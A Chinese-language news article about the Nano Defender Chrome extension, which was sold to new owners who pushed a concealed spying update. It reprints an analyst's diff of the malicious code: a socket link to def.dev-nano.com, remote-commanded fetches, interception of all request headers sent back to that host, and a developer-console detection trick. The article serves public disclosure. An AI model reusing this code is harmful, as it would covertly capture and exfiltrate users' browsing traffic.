Nano Defender扩展程序需要从浏览器中紧急删除





2020年10月3日,Nano Defender扩展的作者程序员jspenguin2017在官方存储库中宣布,他已将该项目出售给了“一群土耳其开发人员”。该消息引起了很多谣言和恐惧:谁是土耳其开发人员,谁控制代码,为什么从存储库中删除了隐私策略页面?



几天后,社区的担忧得到了充分证明。



Nano Defender是绕过广告拦截器的一种相当流行的方法。与拦截器uBlock Origin和Nano AdBlocker(uBlock Origin的前叉)结合使用,可防止它们在现场被检测到。



土耳其人迅速发布了新版本的Nano Defender 15.0.0.206,其中包含经过精心掩饰的功能更改,这些更改并未在GitHub上发布。对这些更改的仔细检查表明,所有用户都需要卸载该扩展。



该建议适用于基于Chrome和Chromium的浏览器,其中扩展程序会自动升级而不会通知用户。土耳其人没有购买Firefox版本。 Firefox Nano扩展的维护者开发者LiCybora已确认他保留对它们的控制权:这些扩展名是安全的。另外,Firefox会验证扩展程序的数字签名,因此恶意代码很难将其塞入新版本的扩展程序中。



UBlock Origin的作者Raymond Hill分析了Nano Defender 15.0.0.206中的更改。他指出,已添加代码来检测扩展程序的开发控制台的启动。在这种情况下,通知将发送report到服务器https://def.dev-nano.com/。换句话说,所有者正在跟踪那些试图弄清楚扩展程序是如何工作的人。在这种情况下,扩展很可能会更改其功能。隐藏某些功能是一种标准的恶意软件把戏,它可以检测探索性环境(例如虚拟环境)的存在。



在这种情况下,Raymond Hill必须在没有开发控制台的情况下学习新版Nano Defender的功能。这就是他的发现。



在启动时,扩展名侦听https://def.dev-nano.com/消息以填充list listOfObject



就代码的理解而言,列表的内容还listOfObject用于检查details传递给webRequest.onBeforeSendHeaders()的对象的字段。如果所有字段都满足条件,则将对象的全部内容detailshttps://def.dev-nano.com/名称发送到handleObject



在这种情况下,处理程序webRequest.onBeforeSendHeaders()所有网络请求:



chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);


由于是listOfObject从外部服务器请求的,因此此方法的功能在外部安装。该列表可以包含任意数量的任何条件。粗略地说,扩展所有者可以自行决定从浏览器请求传出网络流量的任何片段。因此,Nano Defender扩展实际上已成为多用途间谍嗅探器。



雷蒙德·希尔(Raymond Hill)发布了新所有者存储库中不存在的差异



diff对于core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //


土耳其开发人员已为扩展程序发布了新的隐私权政策。根据此扩展名,该扩展程序收集并向远程服务器传输大量信息,包括访问的页面的地址,每个页面上的会话时间,用户的IP地址以及其他数据。以前,隐私协议中没有此类条款。



通常,扩展销售是独立开发商的常见收入来源。安装扩展后,许多用户不知道扩展是由新所有者购买的,并且他们的计算机已在外部项目中使用。



例如,SmartProxy代理服务的所有者向其客户提供家庭IP地址网络的访问权,该网络具有大约4000万个IP地址-大多数节点位于毫无戒心的用户的计算机上。这些家用计算机用于代理付费客户的流量。







另一个Luminati网络使用的计算机供已安装免费HolaVPN应用程序作为出口点的家庭用户使用。该网络还购买了流行的浏览器扩展



从法律的角度来看,使用用户的“盲”家用计算机来增加商业流量是一个非常可疑的事件。但是商人仍然设法避免受到惩罚。



至于jspenguin2017程序员社区谴责他不负责任的出售扩展程序的行为,因为其他数十家开发商都参与了支持和上市Nano Defender。事实证明,jspenguin2017单手通过他人工作的工时获利。



Nano Defender扩展程序已从Chrome网上应用店中删除。



All Articles